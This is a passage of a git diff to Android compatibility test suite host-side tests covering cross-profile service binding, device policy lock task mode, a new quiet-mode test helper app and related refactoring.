diff --git a/hostsidetests/content/src/android/content/cts/BaseContextCrossProfileTest.java b/hostsidetests/content/src/android/content/cts/BaseContextCrossProfileTest.java
index 4468ecc..bbdabc0 100644
--- a/hostsidetests/content/src/android/content/cts/BaseContextCrossProfileTest.java
+++ b/hostsidetests/content/src/android/content/cts/BaseContextCrossProfileTest.java
@@ -37,6 +37,8 @@
  */
 public class BaseContextCrossProfileTest implements IDeviceTest {
 
+    private static final int USER_SYSTEM = 0; // From the UserHandle class.
+
     /** Whether multi-user is supported. */
     protected boolean mSupportsMultiUser;
     protected boolean mIsSplitSystemUser;
@@ -52,12 +54,30 @@
     public void setUp() throws Exception {
         mSupportsMultiUser = getDevice().getMaxNumberOfUsersSupported() > 1;
         mIsSplitSystemUser = checkIfSplitSystemUser();
-
-        mInitialUserId = getDevice().getCurrentUser();
         mPrimaryUserId = getDevice().getPrimaryUserId();
+        setFixedUsers();
+        removeTestUsers();
+    }
 
-        // Test should not modify / remove any of the existing users.
-        mFixedUsers = getDevice().listUsers();
+    /**
+     * Sets the list of users that should not be removed during setup.
+     */
+    private void setFixedUsers() throws Exception{
+        mFixedUsers = new ArrayList<>();
+        mFixedUsers.add(mPrimaryUserId);
+
+        // Set the value of initial user ID calls in {@link #setUp}.
+        if (mSupportsMultiUser) {
+            mInitialUserId = getDevice().getCurrentUser();
+        }
+
+        if (mPrimaryUserId != USER_SYSTEM) {
+            mFixedUsers.add(USER_SYSTEM);
+        }
+
+        if (getDevice().getCurrentUser() != mPrimaryUserId) {
+            mFixedUsers.add(getDevice().getCurrentUser());
+        }
     }
 
     @After
diff --git a/hostsidetests/content/src/android/content/cts/ContextCrossProfileHostTest.java b/hostsidetests/content/src/android/content/cts/ContextCrossProfileHostTest.java
index f02e901..0e473f2 100644
--- a/hostsidetests/content/src/android/content/cts/ContextCrossProfileHostTest.java
+++ b/hostsidetests/content/src/android/content/cts/ContextCrossProfileHostTest.java
@@ -30,6 +30,7 @@
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
 import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.IBuildReceiver;
 
@@ -73,7 +74,10 @@
         assumeTrue(mSupportsMultiUser);
 
         mParentUserId = getDevice().getCurrentUser();
-        assertEquals(USER_SYSTEM, mParentUserId);
+        // Automotive uses non-system user as current user always
+        if (!getDevice().hasFeature("feature:android.hardware.type.automotive")) {
+            assertEquals(USER_SYSTEM, mParentUserId);
+        }
 
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
         mApkFile = buildHelper.getTestFile(TEST_WITH_PERMISSION_APK);
@@ -99,6 +103,7 @@
     @Test
     public void testBindServiceAsUser_differentUser_bindsServiceToCorrectUser()
             throws Exception {
+        assumeTrue(supportsManagedUsers());
         int userInSameProfileGroup = createProfile(mParentUserId);
         getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
         mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -126,6 +131,7 @@
     @Test
     public void testBindServiceAsUser_sameProfileGroup_samePackage_withAcrossUsersPermission_bindsService()
             throws Exception {
+        assumeTrue(supportsManagedUsers());
         int userInSameProfileGroup = createProfile(mParentUserId);
         getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
         mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -153,6 +159,7 @@
     @Test
     public void testBindServiceAsUser_sameProfileGroup_differentPackage_withAcrossUsersPermission_bindsService()
             throws Exception {
+        assumeTrue(supportsManagedUsers());
         int userInSameProfileGroup = createProfile(mParentUserId);
         getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
         mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -180,6 +187,7 @@
     @Test
     public void testBindServiceAsUser_sameProfileGroup_samePackage_withAcrossProfilesPermission_bindsService()
             throws Exception {
+        assumeTrue(supportsManagedUsers());
         int userInSameProfileGroup = createProfile(mParentUserId);
         getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
         mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -207,6 +215,7 @@
     @Test
     public void testBindServiceAsUser_sameProfileGroup_differentPackage_withAcrossProfilesPermission_throwsException()
             throws Exception {
+        assumeTrue(supportsManagedUsers());
         int userInSameProfileGroup = createProfile(mParentUserId);
         getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
         mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -234,6 +243,7 @@
     @Test
     public void testBindServiceAsUser_sameProfileGroup_samePackage_withAcrossProfilesAppOp_bindsService()
             throws Exception {
+        assumeTrue(supportsManagedUsers());
         int userInSameProfileGroup = createProfile(mParentUserId);
         getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
         mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -261,6 +271,7 @@
     @Test
     public void testBindServiceAsUser_sameProfileGroup_differentPackage_withAcrossProfilesAppOp_throwsException()
             throws Exception {
+        assumeTrue(supportsManagedUsers());
         int userInSameProfileGroup = createProfile(mParentUserId);
         getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
         mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -375,6 +386,7 @@
     @Test
     public void testBindServiceAsUser_sameProfileGroup_withNoPermissions_throwsException()
             throws Exception {
+        assumeTrue(supportsManagedUsers());
         int userInSameProfileGroup = createProfile(mParentUserId);
         getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
         mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -402,9 +414,8 @@
     @Test
     public void testBindServiceAsUser_sameProfileGroup_reportsMetric()
             throws Exception {
-        if (!isStatsdEnabled(getDevice())) {
-            return;
-        }
+        assumeTrue(isStatsdEnabled(getDevice()));
+        assumeTrue(supportsManagedUsers());
         int userInSameProfileGroup = createProfile(mParentUserId);
         getDevice().startUser(userInSameProfileGroup, /* waitFlag= */ true);
         mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -444,9 +455,7 @@
     @Test
     public void testBindServiceAsUser_differentProfileGroup_doesNotReportMetric()
             throws Exception {
-        if (!isStatsdEnabled(getDevice())) {
-            return;
-        }
+        assumeTrue(isStatsdEnabled(getDevice()));
         int userInDifferentProfileGroup = createUser();
         getDevice().startUser(userInDifferentProfileGroup, /* waitFlag= */ true);
         mTestArgs.put("testUser", Integer.toString(userInDifferentProfileGroup));
@@ -483,9 +492,8 @@
     @Test
     public void testBindServiceAsUser_sameUser_doesNotReportMetric()
             throws Exception {
-        if (!isStatsdEnabled(getDevice())) {
-            return;
-        }
+        assumeTrue(isStatsdEnabled(getDevice()));
+
         mTestArgs.put("testUser", Integer.toString(mParentUserId));
 
         assertMetricsNotLogged(getDevice(), () -> {
@@ -506,6 +514,7 @@
     @Test
     public void testCreateContextAsUser_sameProfileGroup_withInteractAcrossProfilesPermission_throwsException()
             throws Exception {
+        assumeTrue(supportsManagedUsers());
         int userInSameProfileGroup = createProfile(mParentUserId);
         getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
         mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -533,6 +542,7 @@
     @Test
     public void testCreateContextAsUser_sameProfileGroup_withInteractAcrossUsersPermission_createsContext()
             throws Exception {
+        assumeTrue(supportsManagedUsers());
         int userInSameProfileGroup = createProfile(mParentUserId);
         getDevice().startUser(userInSameProfileGroup, /* waitFlag= */true);
         mTestArgs.put("testUser", Integer.toString(userInSameProfileGroup));
@@ -556,4 +566,12 @@
                 /* timeout= */60L,
                 TimeUnit.SECONDS);
     }
+
+    boolean supportsManagedUsers() {
+        try {
+            return getDevice().hasFeature("feature:android.software.managed_users");
+        } catch (DeviceNotAvailableException e) {
+            return false;
+        }
+    }
 }
diff --git a/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileApp/AndroidManifest.xml b/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileApp/AndroidManifest.xml
index 54deebf..a129819 100644
--- a/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileApp/AndroidManifest.xml
+++ b/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileApp/AndroidManifest.xml
@@ -16,6 +16,9 @@
   -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.cts.context">
+
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_PROFILES"/>
+
     <application>
         <uses-library android:name="android.test.runner" />
         <service
diff --git a/hostsidetests/devicepolicy/Android.bp b/hostsidetests/devicepolicy/Android.bp
index beba9d4..0e89a22 100644
--- a/hostsidetests/devicepolicy/Android.bp
+++ b/hostsidetests/devicepolicy/Android.bp
@@ -21,6 +21,7 @@
         "cts-tradefed",
         "tradefed",
         "compatibility-host-util",
+	"compatibility-host-util-axt",
         "guava",
         "truth-prebuilt",
     ],
diff --git a/hostsidetests/devicepolicy/AndroidTest.xml b/hostsidetests/devicepolicy/AndroidTest.xml
index 575dc04..b579e97 100644
--- a/hostsidetests/devicepolicy/AndroidTest.xml
+++ b/hostsidetests/devicepolicy/AndroidTest.xml
@@ -23,6 +23,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <!-- Device admin/owner requires being run in system user -->
     <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
 
     <!-- Push the list of public APIs to device -->
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/res/layout/non_main.xml b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/res/layout/non_main.xml
index 557ddce..9416d68 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/res/layout/non_main.xml
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/res/layout/non_main.xml
@@ -19,7 +19,7 @@
               android:layout_height="match_parent">
 
     <TextView
-        android:id="@+id/user_textview2"
+        android:id="@+id/user_textview_nonmain"
         android:layout_width="match_parent"
         android:layout_height="wrap_content"
     />
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
index 57eb0f8..8a4f45c 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
@@ -60,8 +60,8 @@
     private static final String PARAM_TARGET_USER = "TARGET_USER";
     private static final String ID_USER_TEXTVIEW =
             "com.android.cts.crossprofileappstest:id/user_textview";
-    private static final String ID_USER_TEXTVIEW2 =
-            "com.android.cts.crossprofileappstest:id/user_textview2";
+    private static final String ID_USER_TEXTVIEW_NONMAIN =
+            "com.android.cts.crossprofileappstest:id/user_textview_nonmain";
     private static final long TIMEOUT_WAIT_UI = TimeUnit.SECONDS.toMillis(10);
 
     private CrossProfileApps mCrossProfileApps;
@@ -240,7 +240,7 @@
                             nonMainActivityIntent, mTargetUser, /* callingActivity= */ null));
 
             // Look for the text view to verify that NonMainActivity is started.
-            UiObject2 textView = mDevice.wait(Until.findObject(By.res(ID_USER_TEXTVIEW2)),
+            UiObject2 textView = mDevice.wait(Until.findObject(By.res(ID_USER_TEXTVIEW_NONMAIN)),
                     TIMEOUT_WAIT_UI);
             assertNotNull("Failed to start non-main activity in target user", textView);
             assertEquals("Non-Main Activity is started in wrong user",
@@ -266,7 +266,7 @@
             mContext.startActivity(crossProfileSameTaskCheckerIntent);
 
             // Look for the text view to verify that NonMainActivity is started.
-            UiObject2 textView = mDevice.wait(Until.findObject(By.res(ID_USER_TEXTVIEW2)),
+            UiObject2 textView = mDevice.wait(Until.findObject(By.res(ID_USER_TEXTVIEW_NONMAIN)),
                     TIMEOUT_WAIT_UI);
             assertNotNull("Failed to start non-main activity in target user", textView);
             assertEquals("Non-Main Activity is started in wrong user",
@@ -317,7 +317,7 @@
                             NonMainActivity.getComponentName(mContext), mTargetUser));
 
             // Look for the text view to verify that NonMainActivity is started.
-            UiObject2 textView = mDevice.wait(Until.findObject(By.res(ID_USER_TEXTVIEW2)),
+            UiObject2 textView = mDevice.wait(Until.findObject(By.res(ID_USER_TEXTVIEW_NONMAIN)),
                     TIMEOUT_WAIT_UI);
             assertNotNull("Failed to start non-main activity in target user", textView);
             assertEquals("Non-Main Activity is started in wrong user",
@@ -338,7 +338,7 @@
                         nonExportedActivityIntent, mTargetUser, /* callingActivity= */ null));
 
         // Look for the text view to verify that NonExportedActivity is started.
-        UiObject2 textView = mDevice.wait(Until.findObject(By.res(ID_USER_TEXTVIEW2)),
+        UiObject2 textView = mDevice.wait(Until.findObject(By.res(ID_USER_TEXTVIEW_NONMAIN)),
                 TIMEOUT_WAIT_UI);
         assertNotNull("Failed to start not exported activity in target user", textView);
         assertEquals("Not exported Activity is started in wrong user",
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonExportedActivity.java b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonExportedActivity.java
index 8323e6b..4f83532 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonExportedActivity.java
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonExportedActivity.java
@@ -34,7 +34,7 @@
     @Override
     public void onStart() {
         super.onStart();
-        TextView textView = findViewById(R.id.user_textview);
+        TextView textView = findViewById(R.id.user_textview_nonmain);
         textView.setText(Long.toString(getCurrentUserSerialNumber()));
     }
 
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonMainActivity.java b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonMainActivity.java
index c2ad97c..6343607 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonMainActivity.java
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonMainActivity.java
@@ -43,7 +43,7 @@
     @Override
     public void onStart() {
         super.onStart();
-        TextView textView = findViewById(R.id.user_textview2);
+        TextView textView = findViewById(R.id.user_textview_nonmain);
         textView.setText(Long.toString(getCurrentUserSerialNumber()));
     }
 
diff --git a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
similarity index 65%
copy from tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
copy to hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
index d957080..a33eec5 100644
--- a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
@@ -1,4 +1,3 @@
-//
 // Copyright (C) 2020 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
@@ -12,19 +11,25 @@
 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
-//
 
 android_test_helper_app {
-    name: "CtsAutoRevokeWhitelistedDummyApp",
+    name: "CtsModifyQuietModeEnabledApp",
     defaults: ["cts_defaults"],
-    sdk_version: "test_current",
-    // Tag this module as a cts test artifact
+    srcs: ["src/**/*.java"],
+    libs: ["junit"],
+    static_libs: [
+        "androidx.legacy_legacy-support-v4",
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "androidx.test.rules",
+        "truth-prebuilt",
+        "ub-uiautomator",
+    ],
+    min_sdk_version: "29",
+    // tag this module as a cts test artifact
     test_suites: [
         "cts",
-        "vts",
         "vts10",
-        "mts",
         "general-tests",
     ],
-    srcs: ["src/**/*.java", "src/**/*.kt"],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/AndroidManifest.xml
new file mode 100644
index 0000000..b371d96
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/AndroidManifest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.modifyquietmodeenabledapp">
+
+    <uses-sdk android:minSdkVersion="29"
+         android:targetSdkVersion="29"/>
+
+    <uses-permission android:name="android.permission.MODIFY_QUIET_MODE"/>
+
+    <application android:crossProfile="true">
+        <receiver android:name=".ModifyQuietModeEnabledAppReceiver"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MANAGED_PROFILE_UNAVAILABLE"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_AVAILABLE"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_ADDED"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_REMOVED"/>
+            </intent-filter>
+        </receiver>
+    </application>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.modifyquietmodeenabledapp"
+         android:label="Launcher Apps CTS Tests"/>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/OWNERS b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/OWNERS
new file mode 100644
index 0000000..9647f11
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 168445
+alexkershaw@google.com
+kholoudm@google.com
+pbdr@google.com
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/src/com/android/cts/modifyquietmodeenabledapp/ModifyQuietModeEnabledAppReceiver.java b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/src/com/android/cts/modifyquietmodeenabledapp/ModifyQuietModeEnabledAppReceiver.java
new file mode 100644
index 0000000..88e0f12
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/src/com/android/cts/modifyquietmodeenabledapp/ModifyQuietModeEnabledAppReceiver.java
@@ -0,0 +1,15 @@
+package com.android.cts.modifyquietmodeenabledapp;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Slog;
+
+public class ModifyQuietModeEnabledAppReceiver extends BroadcastReceiver {
+    private static final String TAG = "ModifyQuietModeEnabledAppReceiver";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Slog.w(TAG, String.format("onReceive(%s)", intent.getAction()));
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
index 2e5f479..791f207 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
@@ -158,7 +158,7 @@
         // a trusted certificate isn't even installed we should fail now, loudly.
         assertEquals(installed, listed);
         int numTries = 0;
-        while (numTries < (maxWaitForCertificateTrustedSec * 10) && (installed != trusted)) {
+        while (numTries < (maxWaitForCertificateTrustedSec * 20) && (installed != trusted)) {
             try {
                 Thread.sleep(100);
                 trusted = Arrays.asList(tm.getAcceptedIssuers()).contains(caCert);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
index 041900c..4321f38 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
@@ -26,6 +26,7 @@
 import android.content.pm.ResolveInfo;
 import android.os.Build;
 import android.os.Bundle;
+import android.os.SystemClock;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.Until;
@@ -33,7 +34,6 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
 
 import java.time.Duration;
 
@@ -48,6 +48,7 @@
 
     private static final String TAG = LockTaskHostDrivenTest.class.getName();
     private static final int ACTIVITY_RESUMED_TIMEOUT_MILLIS = 20000;  // 20 seconds
+    private static final int LOCK_TASK_STATE_CHANGE_TIMEOUT_MILLIS = 10000;  // 10 seconds
     private static final String ACTION_EMERGENCY_DIAL = "com.android.phone.EmergencyDialer.DIAL";
     private static final String LOCK_TASK_ACTIVITY
             = LockTaskUtilityActivityIfWhitelisted.class.getName();
@@ -90,14 +91,14 @@
     /**
      * On low-RAM devices, this test can take too long to finish, so the test runner can incorrectly
      * assume it's finished. Therefore, only use it once in a given test.
+     *
+     * <p>Does not test that the locked activity is initially in the foreground, since running this
+     * test in instrumentation can immediately kill the locked activity (while maintaining lock task
+     * mode).
      */
     public void testLockTaskIsActiveAndCantBeInterrupted() throws Exception {
         Log.d(TAG, "testLockTaskIsActiveAndCantBeInterrupted on host-driven test");
-        waitAndCheckLockedActivityIsResumed();
-        checkLockedActivityIsRunning();
-
-        mUiDevice.pressBack();
-        mUiDevice.waitForIdle();
+        waitAndEnsureLockTaskUtilityActivityIsRunning();
         checkLockedActivityIsRunning();
 
         mUiDevice.pressHome();
@@ -108,7 +109,30 @@
         mUiDevice.waitForIdle();
         checkLockedActivityIsRunning();
 
+        mUiDevice.pressBack();
         mUiDevice.waitForIdle();
+        checkLockedActivityIsRunning();
+
+        mUiDevice.waitForIdle();
+    }
+
+    /**
+      * Poll for {@link ActivityManager#getLockTaskModeState()} to equal
+      * {@link ActivityManager#LOCK_TASK_MODE_NONE}
+      *
+      * <p>This will check every 500 milliseconds for a maximum of
+     * {@link #LOCK_TASK_STATE_CHANGE_TIMEOUT_MILLIS} milliseconds.
+      */
+    private void waitForLockTaskModeStateNone() {
+        long delayed = 0;
+        long delay = 500;
+        while (delayed <= LOCK_TASK_STATE_CHANGE_TIMEOUT_MILLIS) {
+            if (mActivityManager.getLockTaskModeState() == ActivityManager.LOCK_TASK_MODE_NONE) {
+                break;
+            }
+            SystemClock.sleep(delay);
+            delayed += delay;
+        }
     }
 
     public void testLockTaskIsExitedIfNotWhitelisted() throws Exception {
@@ -126,6 +150,7 @@
 
         // Remove it from whitelist
         setLockTaskPackages();
+        waitForLockTaskModeStateNone();
         mUiDevice.waitForIdle();
 
         // The activity should be finished and exit lock task mode
@@ -230,6 +255,19 @@
                 ActivityManager.LOCK_TASK_MODE_LOCKED, mActivityManager.getLockTaskModeState());
     }
 
+    /**
+     * Ensures the locked activity is resumed or otherwise launches it but without starting lock
+     * task if it is not already in that mode.
+     */
+    private void waitAndEnsureLockTaskUtilityActivityIsRunning() throws Exception {
+        mUiDevice.waitForIdle();
+        final boolean lockedActivityIsResumed =
+                LockTaskUtilityActivity.waitUntilActivityResumed(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
+        if (!lockedActivityIsResumed) {
+            launchLockTaskUtilityActivityWithoutStartingLockTask();
+        }
+    }
+
     private void waitAndCheckLockedActivityIsResumed() throws Exception {
         mUiDevice.waitForIdle();
         assertTrue(
@@ -269,6 +307,12 @@
         mContext.startActivity(intent);
     }
 
+    private void launchLockTaskUtilityActivityWithoutStartingLockTask() {
+        final Intent intent = new Intent(mContext, LockTaskUtilityActivityIfWhitelisted.class);
+        intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+    }
+
     private void setLockTaskPackages(String... packages) {
         mDevicePolicyManager.setLockTaskPackages(ADMIN_RECEIVER_COMPONENT, packages);
     }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
index 6ca7bd3..a2c8832 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
@@ -24,14 +24,11 @@
 
 import android.app.admin.DevicePolicyManager;
 import android.content.Context;
-import android.hardware.camera2.CameraManager;
 import android.os.Bundle;
-import android.os.Handler;
-import android.os.HandlerThread;
 import android.os.UserManager;
 import android.test.InstrumentationTestCase;
 
-import org.mockito.internal.util.collections.Sets;
+import com.google.common.collect.ImmutableSet;
 
 import java.util.Set;
 
@@ -39,70 +36,40 @@
 
     protected Context mContext;
     private DevicePolicyManager mParentDevicePolicyManager;
-    private DevicePolicyManager mDevicePolicyManager;
-
-    private CameraManager mCameraManager;
-
-    private HandlerThread mBackgroundThread;
-
-    /**
-     * A {@link Handler} for running tasks in the background.
-     */
-    private Handler mBackgroundHandler;
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
         mContext = getInstrumentation().getContext();
 
-        mDevicePolicyManager = (DevicePolicyManager)
+        DevicePolicyManager devicePolicyManager = (DevicePolicyManager)
                 mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
+        assertNotNull(devicePolicyManager);
         mParentDevicePolicyManager =
-                mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
-        mCameraManager = (CameraManager) mContext.getSystemService(Context.CAMERA_SERVICE);
-
-        assertNotNull(mDevicePolicyManager);
+                devicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
         assertNotNull(mParentDevicePolicyManager);
-        assertNotNull(mCameraManager);
 
-        assertTrue(mDevicePolicyManager.isAdminActive(ADMIN_RECEIVER_COMPONENT));
+        assertTrue(devicePolicyManager.isAdminActive(ADMIN_RECEIVER_COMPONENT));
         assertTrue(
-                mDevicePolicyManager.isProfileOwnerApp(ADMIN_RECEIVER_COMPONENT.getPackageName()));
-        assertTrue(mDevicePolicyManager.isManagedProfile(ADMIN_RECEIVER_COMPONENT));
-        startBackgroundThread();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        stopBackgroundThread();
-        super.tearDown();
-    }
-
-    public void testSetAndGetCameraDisabled_onParent() throws Exception {
-        mParentDevicePolicyManager.setCameraDisabled(ADMIN_RECEIVER_COMPONENT, true);
-        boolean actualDisabled =
-                mParentDevicePolicyManager.getCameraDisabled(ADMIN_RECEIVER_COMPONENT);
-
-        assertThat(actualDisabled).isTrue();
-        checkCanOpenCamera(false);
-
-        mParentDevicePolicyManager.setCameraDisabled(ADMIN_RECEIVER_COMPONENT, false);
-        actualDisabled = mParentDevicePolicyManager.getCameraDisabled(ADMIN_RECEIVER_COMPONENT);
-
-        assertThat(actualDisabled).isFalse();
-        checkCanOpenCamera(true);
+                devicePolicyManager.isProfileOwnerApp(ADMIN_RECEIVER_COMPONENT.getPackageName()));
+        assertTrue(devicePolicyManager.isManagedProfile(ADMIN_RECEIVER_COMPONENT));
     }
 
     private static final Set<String> PROFILE_OWNER_ORGANIZATION_OWNED_GLOBAL_RESTRICTIONS =
-            Sets.newSet(
+            ImmutableSet.of(
+                    UserManager.DISALLOW_CONFIG_PRIVATE_DNS,
                     UserManager.DISALLOW_CONFIG_DATE_TIME,
+                    UserManager.DISALLOW_AIRPLANE_MODE
+            );
+
+    private static final Set<String> PROFILE_OWNER_ORGANIZATION_OWNED_LOCAL_RESTRICTIONS =
+            ImmutableSet.of(
